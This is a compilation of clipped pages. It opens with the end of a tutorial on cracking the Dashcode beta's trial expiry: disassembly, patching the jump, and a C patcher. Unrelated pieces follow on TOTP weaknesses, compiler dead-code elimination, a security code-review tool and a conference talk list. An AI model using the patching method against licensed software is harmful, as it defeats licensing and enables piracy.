only one result at offset 0001ed51. Let's look closer a this offset and some
above:  

  

  
0001ed41 c74424100f000000 movl $0x0000000f,0x10\(%esp,1\)  
0001ed49 c744240c07000000 movl $0x00000007,0x0c\(%esp,1\)  
0001ed51 c7442408d7070000 movl $0x000007d7,0x08\(%esp,1\)  

  

  
So we already know that 7d7 is 2007. The two others, 07 = 7 and 0F = 15.
Together they looks a lot like 15.7.2007. So this code section may not be far
from the actual check routine we're looking for. But first let's explain what
this movl instruction does. movl copy $source to $destination. Here a value
\($0x000007d7\) to a register  
\(esp\). So basically here's the expiration date loaded in an array
\(different position of the same register - that's these 0x08, 0x0c, 0x10\).
Let's have a look at some lines below \(omitting the machine code\):  

  

  
0001ed73 movl 0x001eafb4,%eax compare  
0001ed7f calll 0x001e6469 \_msgSend  
0001ed84 addl $0x01,%eax  
0001ed87 jel 0x0001efd1  
0001ed96 movl 0x001eec60,%eax NSAlert  

  

  
At offset 001ed96 we find an interesting comment \(put here by our
dsassembler\), NSAlert. If you check the NSAlert function in the XCode
documentation, you'll find what you may already have guessed: it display an
alert box. So not too far from the date loading code, we found an alert box
call. And just above a conditionnal jump \(that's this jel instruction\).
Looks promising, let's review this snippet code in a whole.  

  

  
0001ed09 movl 0x001eafbc,%eax calendarDate  
0001ed0e movl %eax,0x04\(%esp,1\)  
0001ed12 movl 0x001eec64,%eax NSCalendarDate  
0001ed17 movl %eax,\(%esp,1\)  
0001ed1a calll 0x001e6469 \_objc\_msgSend  
0001ed1f movl %eax,%ebx  
0001ed21 movl $0x00000000,0x20\(%esp,1\)  
0001ed29 movl $0x00000000,0x1c\(%esp,1\)  
0001ed31 movl $0x00000000,0x18\(%esp,1\)  
0001ed39 movl $0x00000000,0x14\(%esp,1\)  
0001ed41 movl $0x0000000f,0x10\(%esp,1\)  
0001ed49 movl $0x00000007,0x0c\(%esp,1\)  
0001ed51 movl $0x000007d7,0x08\(%esp,1\)  
0001ed59 movl 0x001eafb8,%eax dateWithYear:month:...  
0001ed5e movl %eax,0x04\(%esp,1\)  
0001ed62 movl 0x001eec64,%eax NSCalendarDate  
0001ed67 movl %eax,\(%esp,1\)  
0001ed6a calll 0x001e6469 \_objc\_msgSend  
0001ed6f movl %eax,0x08\(%esp,1\)  
0001ed73 movl 0x001eafb4,%eax compare  
0001ed78 movl %eax,0x04\(%esp,1\)  
0001ed7c movl %ebx,\(%esp,1\)  
0001ed7f calll 0x001e6469 \_msgSend  
0001ed84 addl $0x01,%eax  
0001ed87 jel 0x0001efd1  
0001ed8d movl 0x001eaf48,%eax  
0001ed92 movl %eax,0x04\(%esp,1\)  
0001ed96 movl 0x001eec60,%eax NSAlert  
0001ed9b movl %eax,\(%esp,1\)  
0001ed9e calll 0x001e6469 \_msgSend  

  

  
At offset 0001ed59 we find a nice comment again: dateWithYear:..., a
structure, with structure's members name \(Year, month, and so on\) and the
ordering. We may start to comment our code:  

  

  
0001ed09 movl 0x001eafbc,%eax calendarDate  
0001ed0e movl %eax,0x04\(%esp,1\)  
0001ed12 movl 0x001eec64,%eax NSCalendarDate  
0001ed17 movl %eax,\(%esp,1\)  
0001ed1a calll 0x001e6469 \_objc\_msgSend  
0001ed1f movl %eax,%ebx ;today's date in ebx  
;\($currentdate\)  
0001ed21 movl $0x00000000,0x20\(%esp,1\) ;timeZone  
0001ed29 movl $0x00000000,0x1c\(%esp,1\) ;seconds  
0001ed31 movl $0x00000000,0x18\(%esp,1\) ;minutes  
0001ed39 movl $0x00000000,0x14\(%esp,1\) ;hours  
0001ed41 movl $0x0000000f,0x10\(%esp,1\) ;day = 15  
0001ed49 movl $0x00000007,0x0c\(%esp,1\) ;month = 7  
0001ed51 movl $0x000007d7,0x08\(%esp,1\) ;Year = 2007  
0001ed59 movl 0x001eafb8,%eax ;eax = \*15.07.2007\*  
;\($expiredate\)  
0001ed5e movl %eax,0x04\(%esp,1\) ;mov $expiredate in 04\(esp\)  
0001ed62 movl 0x001eec64,%eax ;load NSCalendarDate method  
0001ed67 movl %eax,\(%esp,1\) ;load method in the calling  
;register  
0001ed6a calll 0x001e6469 ;call \*NSCalendarDate\*  
;method via \_objc\_msgSend  
0001ed6f movl %eax,0x08\(%esp,1\) ;push $expiredate as second  
;parameter of the  
0001ed73 movl 0x001eafb4,%eax ;compare method  
0001ed78 movl %eax,0x04\(%esp,1\) ;load method in register  
0001ed7c movl %ebx,\(%esp,1\) ;push $curentdate as first  
;parameter.  
0001ed7f calll 0x001e6469 ;call method via \_msgSend  
0001ed84 addl $0x01,%eax ;another way to do  
;test $0x01,eax  
0001ed87 jel 0x0001efd1 ;if hasn't expired continue  
;program flow at 00001efd1  
0001ed8d movl 0x001eaf48,%eax alloc  
0001ed92 movl %eax,0x04\(%esp,1\)  
0001ed96 movl 0x001eec60,%eax ;load NSAlert method to tell  
;expired  
0001ed9b movl %eax,\(%esp,1\)  
0001ed9e calll 0x001e6469 ;call NSAlert via \_msgSend  

  

  
After commenting, the expiration check becomes obvious. jel means jump if
equal or less, so if current\_date is equal or less than expiration\_date the
program will continue execution at offset 0x0001efd1. As I'm really a nice
guy, I'll even write this snippet in pseudo code:  

  

  
$current\_date = NSCalendarDate\(Today\)  
$expiration\_date = NSCalendarDate\(2007,7,15,0,0,0,0\)  
  
if \($current\_date <= $expiration\_date\) then  
Continue\_at\_ 0x0001efd1  
else  
NSAlert\("Expired"\)  
Quit  
end if

  

  
So now that we've a good understanding of what our program is doing, let's
alter  
the program flow to make it acts like we want it to act.

  
  

  
  
0.6 Altering the program flow

  

As you'll find out there is more than one way to change the program behavior,
like there was more than one way to find the check routine \(we could have
looked for the NSAlert function or NSCalendarDate one instead of the 2007
value\). What we want to achieve is that whatever today's date is, we want to
go to at offset x0001efd1 \(normal flow\). For this, all we have to do is to
be sure that the program jumps on this jel instruction. For example we could
change the 0x000007d7 at offset 0001ed51 to 0x000000bbf. Instead of expiring
on the 15th of July 2007, it'll expire on the 5th July of 3007. But let's go
for a more common way. We'll simply force this jel jump conditional\) to an
unconditional one \(jmp\). But how do we find out wich machine code stands for
a conditional jmp ? And for the instruction's operand ? That's why there is
the next section my dear reader.  

  

  
  
0.7 Assembling new opcode

  

We need to change this jel 0x0001efd1 to a jmp 0x00001efd1. Looking at the
machine code for the instruction, we see nothing looking like 1efd1. That's
because the jump don't really point to the offset 0x00001efd1, it's a relative
jump taking as operands the delta to the destination offset. So the distance
between the jump's address and the destination is 0x1efd1 + 2 - 0x1ed87 =
0x248.  
  
The + 2 is for the Two's complement, a way to distinguish positive from
negative number in binary \(and in our case a forward jump, positive\). Check
the wikipedia article in the appendix to learn more about the Two's
complement.  
We need to know the machine code for jmp 0x284. We may calculate it by hand
but since we are big lazzy arse we'll gently ask NASM to assemble it for us.  
  
Create a new opcode.asm file and write jmp 0x248 in it, save it. Assemble the
file with:  

  

  
nasm opcode.asm -o opcode.bin  

  

  
Open opcode.bin in any hexeditor to see the corresponding machine code. You
may  
want to write a small assemble script like this one:  

  

  
echo $1 >> temp.asm && nasm temp.asm -o temp.bin  
&& rm temp.asm  
od -N 16 -t x1 temp.bin && rm temp.bin  

  

  
Save it as assemble somewhere in your $PATH, chmod it executable:  

  

  
chmod +x assmble  

  

  
Now you can assemble instruction and have the machine code in one step,
issuing this command:  

  

  
assemble "jmp 0x248"  

  

  
And getting this in return:  

  

  
0000000 e9 45 02  

  

  
Having the new instruction's machine code we can now patch our binary.  

  

  
  
0.8 modifying our target in a hexadecimal editor

  

Now that we know the new machine code, we're ready to modify our target code
in an hex editor. Open the binary in 0xED and go to the offset 1ed87. The
bytes doesn't look our old sequence, so search for the bytes sequence instead
\(the offset doesn't match since there is the PPC part - Mach-O header and
offset computation for a next essay\).  
Now write our new instruction's bytes and put three nop \(90 in hex\) after to
match the old instruction's length. Save it.  
  
Put your clock to 2008, run Dashcode. 15th of July 2007, Here we come\!

  
  
  

  
0.9 Writing a small patcher in C

  
  

First, let me say that I'm by no mean a C expert so be gentle. If you've never
done any programming don't worry the code should be simple enough to follow,
just check the C functions documentation, and you may well learn something in
the process. What this patcher does is exactly the same thing we've done in
the previous section, opening our target binary blob, seeking to the right
offset, and changing the old machine code to the new one. The source.  

  

  
/\* Kellogs' Dashcode beat patchcode.c \*/  
  
\#include <stdio.h>  
\#include <string.h>  
  
long Offset = 0x1ED87;  
const OldBytes = 0x0244840f;  
const NewBytes = 0x000245e9;  
  
int main\(int argc, char \*argv\[\]\)  
\{  
  
FILE \* fBinary;  
int ByteBuffer;  
  
printf\("KellogS' Dashcode Beta Trial Crack"\);  
printf\("\n -> Opening %s",strcat\(argv\[1\],"/Contents/MacOS/Dashcode"\)\);  
  
fBinary=fopen\(argv\[1\], "r+"\);  
fseek\(fBinary,Offset,SEEK\_SET\);  
fread\(&ByteBuffer, 4,1, fBinary\);  
  
if \(OldBytes == ByteBuffer\) \{  
printf\("\n -> Sequence found."\);  
fseek\(fBinary,Offset,SEEK\_SET\);  
printf\("\n -> Patching Dashcode."\);  
fwrite\(&NewBytes, 4,1, fBinary\);  
printf\("\n -> Patching Done. Enjoy\!\n"\);  
\}  
else \{  
printf\("\n -> Sequence not found\! Quitting.\n"\);  
\}  
  
fclose\(fBinary\);  
return 0;  
\}  

  

  
Let's do a quick review. We've our variables at the top, namely offset, old
sequence and new sequence. Some printings then the opening of the code file.
Seeking to the offset, checking if offset's bytes are the same as old
sequence. Writing the new bytes, informing the user. Some if to glue them all.  
  
Compile it with:  

  

  
gcc patchcode.c -o patchcode  

  

  
then run it on Dashcode wtih:  

  

  
./patchcode Dashcode.app  

  

  
  

  

0.A Conclusion

  
  

Well, that's it. We've covered OS X applications structure, tools needed,
enough assembly to understand and patch the target and even written a
patcher\! We'll not go in such great details in the next essays.  
  
Hope you've enjoyed this article. If you've found any errors don't hesitate to
leave a message.  

  

0.B Greetings  

  

This essay couldn't have been possible if I didn't have learn from these
peoples.  
  
ORC+ - He had teached the masters, enough said.  
Fravia - bloatware reverser, reality cracker, search lord. Best school ever.  
Frog's Print - zen master cracker and great teacher.  
Spath - You're one of the best\!  
CyberbobJr - great cracker and a cool guy \(la voila l'URL\).  
  
Btw, If any of you guys are still alive, drop me a line.  
  
Thanks All\!  
  
  
  
That's all folks\!  

# The trouble with TOTP

**Created:**| _10/29/2013 9:34:14 AM_  
---|---  
**Updated:**| _10/29/2013 9:50:31 AM_  
**Author:**| __  
**Tags:**| _crypto random_  
  

RFC6238 is a time-based protocol based off RFC4226. The basic protocol \(both
client and server\) is:

[code]

     
    
[/code]

[code]

    HOTP(k, c) =
      DT( HMACSHA1 k(c) ) mod 1000000
    
[/code]

DT\(X\) = offset := X\[19\] mod 16 return X\[\{ offset .. offset+3 \}\]

In this protocol, ` ``k` is a secret key that is shared with the client \(eg.
smartphone app or keyfob\) and the server. In RFC4226 ` ``c` is a counter
which must increase on each use. In RFC6238 ` ``c` is redefined as a
timestamp, which is the number of seconds since the start of Jan 1, 1970 UTC
cast as a 64-bit integer and divided by 30.

The dynamic truncate function is rather arbitrary - possibly it was intended
as a nothing-up-my-sleeves truncate, but the design decisions that led to it
aren't documented \(and the RFC authors didn't respond to my emails regarding
it\). If the HMAC is secure then there shouldn't be any problem with it apart
from it's extremely small resulting hash length. It doesn't re-use the last
byte \(offset=15 would select \{15, 16, 17, 18\}\) and in theory all of the
bytes in HMAC-SHA1 should act like a truncated random oracle.  

The modulo operation introduces a tiny amount of bias - for every 2 31 samples
numbers above 483647 would be selected 2147 times, while smaller numbers would
be selected 2148 times.

What's most concerning about the modulo operation is that there's only 1
million possible OTP values\! Now I'm sure you're thinking that somebody
having a 1 in a million chance of breaking into your account if they get your
password is pretty good - but that's not the way this game works.

If we take a look at  page 7 of rfc6238 you'll see the authors talking about
syncing, and what seems like a recommendation that you accept two time-steps
backwards in order to resync with clients who's half a cent clock chip is
moving slow - along with all sorts of warnings about the bad things that will
happen if you make this number too big. The thing is that even if we only
account 2 extra timesteps \(1 back, 1 forward\), that divides the number space
by 3 - now it's a 1 in 333,333 chance of guessing your OTP.

But hold on - I'm not done here\! It turns out that locking out an account
after a single bad guess isn't user-friendly. So instead they recommend a
backoff timer of 5 seconds times the number of bad attempts. But trying more
than once at all is increasing the chances of an attacker getting lucky guess.

Now for the insane part - you're not the only person using this protocol\!

If an attacker \(such as a spammer\) purchased a large list of compromised
first factors, they could simply run a bot trying as often as possible against
all accounts they have. Spammer's aren't fussy - any account will do for a
spam run. So if they have 10,000 accounts, they'd only need an average of 33
tries \(against all accounts\) before they pop one. The laws of averages don't
care whether the accounts are all on the same server - indeed for their
purposes the more systems it's spread over the better.

Based on the backoff timer recommendations in the rfc, 100 attempts would take
7 hours, 1000 attempts would take 29 days, and 10,000 attempts would take 8
years. In any case, trying to wear out the patience of spam bots is a bad
plan.

Now I hear you thinking all those things about locking out IP addresses,
requiring users' D.O.B and mother's maiden name after a bad guess and all that
other stuff. But that's not the point - we want two-factor protocols so that
you can worry less about that stuff.

The best fix would be to do away with Dynamic Truncate, and simply base-32
encode the digest \(eg. 32 unambiguous numbers and case insensitive letters\).
Now truncate that output to a minimum of 8 characters \(40 bits\) - if you can
do 16 characters that would be better, but you'll want to make the time-range
longer.

Keep in mind that you're asking people to read the OTP, not remember it.

This was presented as part of my Ruxcon 2013 talk ******Under the hood of your
password generator**. I also presented on  S/Key and  Random password
generators

# Optimizing C++ Code : Dead Code Elimination - Visual C++ Team Blog - Site
Home - MSDN Blogs

**Created:**| _8/14/2013 1:44:12 PM_  
---|---  
**Updated:**| _8/14/2013 1:44:12 PM_  
**Author:**| __  
**Tags:**| _compiler-building analysis optimisation static_  
  

# **O** ptimizing C++ Code : Dead Code Elimination****

If you have arrived in the middle of this blog series, you might want instead
to begin at the beginning **.**

This post examines the optimization called Dead-Code-Elimination, which I’ll
abbreviate to DCE**.** It does what it says: discards any calculations whose
results are not actually _used_ by the program**.**

Now, you will probably assert that your code calculates _only_ results that
are used, and never any results that are _not_ used: only an idiot, after all,
would gratuitously add useless code – calculating the first 1000 digits of
_pi_ , for example, whilst also doing something useful**.** So when would the
DCE optimization ever have an effect**?**

The reason for describing DCE so early in this series is that it could
otherwise wreak havoc and confusion throughout our exploration of other, more
interesting optimizations: consider this tiny example program, held in a file
called Sum.cpp:

int main\(\) \{  
long long s = 0;  
for \(long long i = 1; i <= 1000000000; ++i\) s += i;  
\}

We are interested in how fast the loop executes, calculating the sum of the
first billion integers**.** \(Yes, this is a spectacularly silly example,
since the result has a closed formula, taught in High school**.** But that’s
not the point\)

Build this program with the command: CL /Od /FA Sum.cpp and run with the
command Sum**.** Note that this build _disables_ optimizations, via the /Od
switch**.** On my PC, it takes about 4 seconds to run**.** Now try compiling
optimized-for-speed, using CL /O2 /FA Sum.cpp**.** On my PC, this version runs
so fast there’s no perceptible delay**.** Has the compiler really done such a
fantastic job at optimizing our code**?** The answer is no \(but in a
surprising way, also yes\):

Let’s look first at the code it generates for the /Od case, stored into
Sum.asm**.** I have trimmed and annotated the text to show only the loop body:

mov QWORD PTR s$\[rsp\], 0 ;; long long s = 0  
mov QWORD PTR i$1\[rsp\], 1 ;; long long i = 1  
jmp SHORT $LN3@main  
$LN2@main :  
mov rax, QWORD PTR i$1\[rsp\] ;; rax = i  
inc rax ;; rax += 1  
mov QWORD PTR i$1\[rsp\], rax ;; i = rax  
$LN3@main :  
cmp QWORD PTR i$1\[rsp\], 1000000000 ;; i <= 1000000000 **?**  
jg SHORT $LN1@main ;; no – we’re done  
mov rax, QWORD PTR i$1\[rsp\] ;; rax = i  
mov rcx, QWORD PTR s$\[rsp\] ;; rcx = s  
add rcx, rax ;; rcx += rax  
mov rax, rcx ;; rax = rcx  
mov QWORD PTR s$\[rsp\], rax ;; s = rax  
jmp SHORT $LN2@main ;; loop  
$LN1@main:

The instructions look pretty much like you would expect**.** The variable i is
held on the stack at offset i$1 from the location pointed-to by the RSP
register; elsewhere in the asm file, we find that i$1 = 0**.** We use the RAX
register to increment i. Similarly, variable s is held on the stack \(at
offset s$ from the location pointed-to by the RSP register; elsewhere in the
asm file, we find that s$ = 8\)**.** The code uses RCX to calculate the
running sum each time around the loop**.**

Notice how we load the value for i from its “home” location on the stack,
every time around the loop; and write the new value back to its “home”
location**.** The same for the variable s. We could describe this code as
“naïve” – it’s been generated by a dumb compiler \(i**.** e**.** , one with
optimizations disabled\). For example, it’s wasteful to keep accessing memory
for every iteration of the loop, when we could have kept the values for i and
s in registers throughout**.**

So much for the non-optimized code. What about the code generated for the
optimized case**?** Let’s look at the corresponding Sum.asm for the optimized,
/O2, build**.** Again, I have trimmed the file down to just the part that
implements the loop body, and the answer is:

;; there’s nothing here**\!**

Yes – it’s empty\! There are _no_ instructions that calculate the value of s.

Well, that answer is clearly wrong, you might say**.** But how do we _know_
the answer is wrong**?** The optimizer has reasoned that the program does not
_actually_ make use of the answer for s at any point; and so it has not
bothered to include any code to calculate it**.** You can’t say the answer is
wrong, unless you check that answer, right**?**

We have just fallen victim to, been mugged in the street by, and lost our
shirt to, the DCE optimization**.** If you don’t observe an answer, the
program \(often\) won’t calculate that answer**.**

You might view this effect in the optimizer as analogous, in a profoundly
shallow way, to a fundamental result in Quantum Physics, often paraphrased in
articles on popular science as “If a tree falls  in the forest, and there’s
nobody around to hear, does it make a sound**?** ”

Well, let’s “observe” the answer in our program, by adding a printf of
variable s, into our code, as follows:

\#include <stdio**.** h>  
int main\(\) \{  
long long s = 0;  
for \(long long i = 1; i <= 1000000000; ++i\) s += i;  
printf\("%lld ", s\);  
\}

The /Od version of this program prints the correct answer, still taking about
4 seconds to run**.** The /O2 version prints the same, correct answer, but
runs much faster**.** \(See the optional section below for the value of “much
faster” – in fact, the speedup is around 7X\)

At this point, we have explained the main point of this blog post: always be
very careful in analyzing compiler optimizations, and in measuring their
benefit, that we are not being misled by DCE**.** Here are four steps to help
notice, and ward off, the unasked-for attention of DCE:

  * Check that the timings have not suddenly improved by an order of magnitude
  * Examine the generated code \(using the /FA switch\)
  * If in doubt add a strategic printf
  * Put the code of interest into its own .CPP file, separate from the one holding main**.** This works, so long as you do _not_ request whole-program optimization \(via the /GL switch, that we’ll cover later\)

However, we can wring several more interesting lessons from this tiny
example**.** I have marked these sections below as “Optional-1” through
“Optional-4”**.**

# Optional-1 : Codegen for /O2****

Why is our /O2 version \(including a printf to defeat DCE\), so much faster
than the /Od version**?** Here is the code generated for the loop of the /O2
version, extracted from the Sum.asm file:

xor edx, edx  
mov eax, 1  
mov ecx, edx  
mov r8d, edx  
mov r9d, edx  
npad 13  
$LL3@main :  
inc r9  
add r8, 2  
add rcx, 3  
add r9, rax ;; r9 = 2 8 18 32 50 ..**.**  
add r8, rax ;; r8 = 3 10 21 36 55 ..**.**  
add rcx, rax ;; rcx = 4 12 24 40 60 ..**.**  
add rdx, rax ;; rdx = 1 6 15 28 45 ..**.**  
add rax, 4 ;; rax = 1 5 9 13 17 ..**.**  
cmp rax, 1000000000 ;; i <= 1000000000 **?**  
jle SHORT $LL3@main ;; yes, so loop back

Note that the loop body contains approximately the same number of instructions
as the non-optimized build, and yet it runs _much_ faster**.** That’s mostly
because the instructions in this optimized loop use registers, rather than
memory locations**.** As we all know, accessing a register is much faster than
accessing memory**.** Here are approximate latencies  that demonstrate how
memory access can slow your program to a snail’s pace:

Location|  Latency  
---|---  
Register| 1 cycle  
L1| 4 cycles  
L2| 10 cycles  
L3| 75 cycles  
DRAM| 60 ns  
So, the non-optimized version is reading and writing to stack locations, which
will quickly migrate into L2 \(10 cycle access time\) and L1 cache \(4 cycle
access time\)**.** Both are slower than if all the calculation is done in
registers, with access times around a single cycle**.**

But there’s more going on here to make the code run faster**.** Notice how the
/Od version increments the loop counter by 1 each time around the loop**.**
But the /O2 version increments the loop counter \(held in register RAX\) by 4
each time around the loop**.** Eh?

The optimizer has _unrolled_ the loop**.** So it adds four items together on
each iteration, like this:

s = \(1 + 2 + 3 + 4\) + \(5 + 6 + 7 + 8\) + \(9 + 10 + 11 + 12\) + \(13 +
**.** **.** .

By _unrolling_ this loop, the test for loop-end is made every four iterations,
rather than on every iteration – so the CPU spends more time doing useful work
than forever checking whether it can stop yet**\!**

Also, rather than accumulate the results into a single location, it has
decided to use 4 separate registers, to accumulate 4 partial sums, like this:

RDX = 1 + 5 + 9 + 13 + ..**.** = 1, 6, 15, 28 ...  
R9 = 2 + 6 + 10 + 14 + ... = 2, 8, 18, 32 ..**.**  
R8 = 3 + 7 + 11 + 15 + ... = 3, 10, 21, 36 ..**.**  
RCX = 4 + 8 + 12 + 16 + ... = 4, 12, 24, 40 ..**.**

At the end of the loop, it adds the partial sums, in these four registers,
together, to get the final answer**.**

\(I will leave it as an exercise for the reader how the optimizer copes with a
loop whose trip count is not a multiple of 4\)

# Optional-2 : Accurate Performance Measurements****

Earlier, I said that the /O2 version of the program, without a printf
_inhibitor_ , “runs so fast there’s no perceptible delay”**.** Here is a
program that makes that statement more precise:

\#include <stdio**.** h>  
\#include <windows**.** h>  
int main\(\) \{  
LARGE\_INTEGER start, stop;  
QueryPerformanceCounter\(&start\);  
long long s = 0;  
for \(long long i = 1; i <= 1000000000; ++i\) s += i;  
QueryPerformanceCounter\(&stop\);  
double diff = stop.QuadPart - start.QuadPart;  
printf\("%f", diff\);  
\}

It uses QueryPerformanceCounter to measure the elapsed time**.** \(This is a
“sawn-off” version of a high-resolution timer  described in a previous
blog\)**.** There are lots of caveats to bear in-mind when measuring
performance \(you might want to browse a list I wrote previously \), but they
don’t matter for this particular case, as we shall see in a moment:

On my PC, the /Od version of this program prints a value for diff of about 7
million _somethings_**.** \(The units of the answer don’t matter – just know
that the number gets bigger as the program takes longer to run\)**.** The /O2
version prints a value for diff of 0. And the cause, as explained above, is
our friend DCE**.**

When we add a printf to prevent DCE, the /Od version runs in about 1 million
_somethings_ \- a speedup of about 7X**.**

# Optional-3 : x64 Assembler “widening**** ”

If we look carefully again at the assembler listings in this post, we find a
few surprises in the part of the program that initializes our registers:

xor edx, edx ;; rdx = 0 \(64-bit**\!**\)  
mov eax, 1 ;; rax = i = 1 \(64-bit**\!**\)  
mov ecx, edx ;; rcx = 0 \(64-bit**\!**\)  
mov r8d, edx ;; r8 = 0 \(64-bit**\!**\)  
mov r9d, edx ;; r9 = 0 \(64-bit**\!**\)  
npad 13 ;; multi-byte nop alignment padding  
$LL3@main:

Recall first that the original C++ program uses long long variables for both
the loop counter and the sum**.** In the VC++ compiler, these map onto 64-bit
integers**.** So we should expect the generated code to make use of x64’s
64-bit registers**.**

We already explained, in a previous post, that xor reg, reg is a compact way
to zero out the contents of reg**.** But our first instruction is apply xor to
register EDX – the lower 32 bits of the RDX register**.** The next instruction
moves a 1 into EAX, the lower 32 bits of the RAX register**.** This same
pattern – of moving a value into 32-bit register continues with the next 3
instructions**.** Taken at face value, this would leave the higher 32 bits of
each target register containing random junk**.** And yet the loop body
performs calculations on the full-width, 64-bit registers**.** How can the
answers possibly be right?

The answer is that the x64 instruction set, originally published by AMD ,
chose to automatically zero-extend the high 32 bits of a 64-bit destination
register**.** Here are the two applicable bullets from section 3**.** 4.5 of
that manual:

  * **Zero-Extension of 32-Bit Results** : 32-bit results are zero-extended into the high 32 bits of 64-bit GPR destination registers**.**
  * **No Extension of 8-Bit and 16-Bit Results** : 8-bit and 16-bit results leave the high 56 or 48 bits, respectively, of 64-bit GPR destination registers unchanged**.**

Finally, notice the npad 13 instruction \(really a pseudo-operation – a
directive to the assembler\)**.** This ensures the next instruction – which is
the start of the loop body – will be aligned in memory on an address that’s a
multiple of 16 bytes**.** This improves performance \(sometimes, and on some
micro-architectures\)**.**

# Optional-4 : printf versus std::cout****

You might ask why I used C’s printf function, rather than C++ std::cout as a
way to defeat DCE in the above experiment**.** Try it and see**.** Both work
ok, but the asm file generated by the latter is _much_ bigger, and therefore
more difficult to navigate around: 0**.** 7 Mbytes compared with 1**.** 7
Kbytes.

****

# chrisallenlane/drek

**Created:**| _6/29/2017 3:44:11 PM_  
---|---  
**Updated:**| _6/29/2017 3:44:11 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# chrisallenlane/drek

A static-code-analysis tool that can be used to perform security-focused code
reviews. It enables an auditor to swiftly map the attack-surface of a large
application, with an emphasis on identifying development anti-patterns and
footguns.

HTML JavaScript Other

###  README.md

# drek

`drek` is a static-code-analysis tool that can be used to perform security-
focused code reviews. It enables an auditor to swiftly map the attack-surface
of a large application, with an emphasis on identifying development anti-
patterns and footguns.

Much like `grep`, `drek` scans a codebase for user-defined regular-
expressions. Unlike `grep`, `drek` outputs its results into an ergonomic
`html` report that allows for sorting, filtering, and annotating of points-of-
interest.

`drek` is the successor to `watchtower` \(project, article\).

## Installing

`drek` can be installed via `npm`:

[code]

    [sudo] npm install -g drek
[/code]

## Example

Scan the codebase at `/path/to/app` for the signatures contained within
`/path/to/signatures/*.yml`:

[code]

    drek /path/to/app -s '/path/to/signatures/*.yml' -p 'My App' > ./drek-report.html
[/code]

### Interactive Examples

The following are reports on the Damn Vulnerable Web Application:

## Usage

### Reports

`drek` can output points-of-interest as `csv`, `html`, `json`, or `xml`,
though the `html` report is the primary use-case.

The `html` report allows auditors to do the following:

  * Categorize each point-of-interest by "severity".
  * Filter points-of-interest by severity and filetype.
  * Save annotations to `localStorage`.
  * Export a PDF to share audit results.

### Signatures

`drek` can be configured to scan for any user-defined regular-expressions on a
per-filetype basis via signature files.

Signature files are `yml` files that conform to a simple schema. See the drek-
signatures repository for a collection of example signature files.

### Configuration

`drek` may optionally be configured via a `~/.drekrc` file \(example\) as
parsed by rc. It accepts the following values:

Property | Type | Description  
---|---|---  
`dateFormat` | string | Report date format, as parsed by moment.js.  
`signatures` | array | Path to `.yml` signature files to apply. \(Accepts glob wildcards.\)  
`ignore` | array | File paths to exclude from scan. \(Accepts glob wildcards.\)  
  

# Security Conference - SecTor 2010

**Created:**| _11/12/2010 5:07:26 PM_  
---|---  
**Updated:**| _11/12/2010 5:07:35 PM_  
**Author:**| __  
**Tags:**| _conference-material_  
  
<img src='img/Temp2_7322.png' width='352' height='20' /> We are pleased to
present the presentations and videos available for SecTor 2010. Thanks to all
who participated in making SecTor 2010 the best year yet\!

  * Presentations from SecTor 2009 can be found here.
  * Presentations from SecTor 2008 can be found here.
  * Presentations from SecTor 2007 can be found here.

  
---  
<img src='img/Temp2_7323.png' /> |  <img src='img/Temp2_7318.png' alt='Media File' /> |  <img src='img/Temp2_7324.png' alt='Presentation File' /> |  <img src='img/Temp2_7320.png' alt='Tools' />  
SecTor 2010 Introduction - Brian Bourne |  |  |   
"The Problem with Privacy is Security" \- Tracy Ann Kosa |  | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Today's Face of Organized Cyber Crime: A Paradigm for Evaluating Threat" \- Steve Kelly |  |  |   
"Attribution for Intrusion Detection" \- Greg Hoglund |  | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Involuntary Case Studies in Data Security" \- Mike Rothman |  | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
<img src='img/Temp2_7317.png' width='352' height='20' alt='IT Security Experts Canada Toronto SecTor - Technical Track' /> |  <img src='img/Temp2_7318.png' alt='Media File' /> |  <img src='img/Temp2_7324.png' alt='Presentation File' /> |  <img src='img/Temp2_7320.png' alt='Tools' />  
"SCADA and ICS for Security Experts: How to avoid cyberdouchery" \- James Arlen | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Starting an InfoSec Company: Three Founder's Stories" \- Robert Beggs, Dave Millier, Brian O'Higgins and Eldon Sprickerhoff | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Building the DEFCON network, making a sandbox for 10,000 hackers" \- David Bryan and Luiz Eduardo | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Dissecting the Modern Threatscape: Malicious Insiders, Industrialized Hacking, and Advanced Persistent Threats" \- Brian Contos | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Sharingan - A Ninja art to Copy, Analyze and Counter Attack" \- Mrityunjay Gautam | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"CLOUDINOMICON: Idempotent Infrastructure, Survivable Systems & Bringing Sexy Back to Information Centricity" \- Chris Hoff | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Google's approach to malware on the web" \- Fabrice Jaubert | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"IPv6, for worse or better" \- Joe Klein | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Metasploit Tips and Tricks" \- Ryan Linn | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Inside The Malware Industry" \- Garry Pejski | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Malware Freakshow 2010" \- Jibran Ilyas and Nicholas J. Percoco | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"How I Met Your Girlfriend" \- Samy Kamkar | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Into the Black: Explorations in DPRK" \- Mike Kemp | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
